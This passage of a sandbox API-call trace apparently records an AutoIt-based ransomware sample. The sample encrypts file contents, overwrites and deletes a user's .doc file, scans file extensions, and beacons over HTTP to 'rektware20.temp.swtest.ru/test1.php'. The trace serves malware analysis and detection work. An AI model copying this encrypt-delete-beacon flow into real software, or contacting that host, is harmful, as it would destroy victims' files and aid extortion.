dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219f0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.209] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.209] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f42c8*, pdwDataLen=0x130e618*=0x11bcb, dwBufLen=0x11bd0 | out: pbData=0x17f42c8*, pdwDataLen=0x130e618*=0x11bd0) returned 1 [0071.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.210] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.210] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.210] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.210] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.210] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.210] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.210] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.210] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.210] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.210] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.211] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.211] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.215] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.215] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.215] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.216] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d0b18*, nNumberOfBytesToWrite=0x11bd0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesWritten=0x130f01c*=0x11bd0, lpOverlapped=0x0) returned 1 [0071.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.217] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0071.217] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.217] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.217] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0071.217] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0071.218] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0071.218] CryptDestroyKey (hKey=0x164c6b0) returned 1 [0071.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.220] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.220] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.221] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.221] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.221] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.221] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.221] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0071.221] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.221] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.221] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.221] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.221] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.221] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.221] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.222] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.222] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.222] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.222] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.222] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.222] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.222] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0071.222] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0071.222] CryptReleaseContext (hProv=0x17aa230, dwFlags=0x0) returned 1 [0071.222] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.223] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.223] FreeLibrary (hLibModule=0x74c60000) returned 1 [0071.223] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.223] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.223] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.223] CloseHandle (hObject=0x2ac) returned 1 [0071.223] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.223] CloseHandle (hObject=0x3bc) returned 1 [0071.226] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.228] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.228] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", lpFilePart=0x0) returned 0x34 [0071.228] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\pynkvm3fnef5ezp3.doc")) returned 0x20 [0071.228] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c530 [0071.228] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\PynKVM3fNEf5eZp3.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\pynkvm3fnef5ezp3.doc")) returned 1 [0071.231] FindNextFileW (in: hFindFile=0x164c530, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0071.231] FindClose (in: hFindFile=0x164c530 | out: hFindFile=0x164c530) returned 1 [0071.231] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.232] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.232] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.232] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.232] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0071.232] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0071.232] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.232] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0071.232] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.232] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0071.232] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0071.232] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c) returned 1 [0071.232] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.233] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.233] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.234] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0071.234] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0071.234] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0071.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0071.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0071.234] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.235] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.235] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.235] CloseHandle (hObject=0x0) returned 0 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.235] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.236] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QnCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.241] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nCM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CM8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.242] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.242] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.242] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0071.242] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.242] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0071.242] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0071.242] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.242] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0071.242] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0071.242] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ee1c) returned 1 [0071.242] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.242] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", 